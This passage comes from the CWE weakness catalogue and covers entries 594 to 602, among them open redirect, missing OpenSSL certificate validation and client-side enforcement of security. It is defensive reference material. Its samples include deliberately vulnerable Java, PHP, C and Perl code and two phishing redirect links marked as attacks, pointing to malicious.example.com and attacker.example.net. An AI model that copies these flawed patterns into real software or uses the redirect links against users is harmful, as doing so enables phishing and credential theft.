This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
94	Man in the Middle Attack

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID : 594 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Data represented by unserializable objects can be corrupted.*	
Availability	DoS: Crash, Exit, or Restart *Non-serializability of objects can lead to system crash.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Demonstrative Examples

Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Example Language: Java *(bad)*

```
@Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Example Language: Java *(good)*

```
public class Customer implements Serializable {...}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID : 595 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1638
ParentOf	V	597	Use of Wrong Operator in String Comparison	1189

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness can lead to erroneous results that can cause unexpected application behaviors.*	

Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java *(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java *(bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java *(good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	1903
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	1984

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives

References

[REF-954]Mozilla MDN. "Equality comparisons and sameness". < https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness >.2017-11-17.

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID : 597 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1023
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1187

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	133	String Errors	1850

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

Use equals() to compare strings.

Effectiveness = High

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java *(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	1903
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	1984

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
SEI CERT Perl Coding Standard	EXP35-PL	CWE More Specific	Use the correct operator type for comparing values
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID : 598 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that requests.

Extended Description

The query string can be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	201	Exposure of Sensitive Information Through Sent Data	474

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.*	

Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	648

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The data read may not be properly secured, it might be viewed by an attacker.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Trust afforded to the system in question may allow for spoofing or redirection attacks.*	
Access Control	Gain Privileges or Assume Identity *If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of*	

Scope	Impact	Likelihood
	a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID : 600 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	248	Uncaught Exception	545
PeerOf	B	390	Detection of Error Condition Without Action	845
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	490

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Alternate Terms

Missing Catch Block :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.

Demonstrative Examples

Example 1:

In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Example Language: Java *(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	G	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Alternate Terms

Open Redirect :

Cross-site Redirect :

Cross-domain Redirect :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.*	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other *The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which

inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

Example Language: PHP *(bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Example Language: *(attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(bad)*

```
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
    {
        String query = request.getQueryString();
        if (query.contains("url")) {
            String url = request.getParameter("url");
            response.sendRedirect(url);
        }
    }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4206*
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2951*
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2052*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	809	1900
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	928	1933
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	38		URl Redirector Abuse
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-483]Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf >.

[REF-484]Russ McRee. "Open redirect vulnerabilities: definition and prevention". Issue 17. (IN)SECURE. 2008 July. < http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf >.

[REF-485]Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". 2010 March 5. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140
ParentOf	B	603	Use of Client-Side Authentication	1204
PeerOf	B	290	Authentication Bypass by Spoofing	640
PeerOf	C	300	Channel Accessible by Non-Endpoint	663
PeerOf	B	836	Use of Password Hash Instead of Password for Authentication	1549
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Availability	Bypass Protection Mechanism DoS: Crash, Exit, or Restart *Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.*	

Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side

checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl *(good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
    # username/pass is valid, go ahead and update the info!
    writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
    print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language: *(bad)*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
    ($username, $pass) = split(/\s+/, $args, 2);
    $result = AuthenticateUser($username, $pass);
    writeSocket($sock, "$result\n");
```

```
    # does not close the socket on failure; assumes the
    # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
    if (validateAddress($args)) {
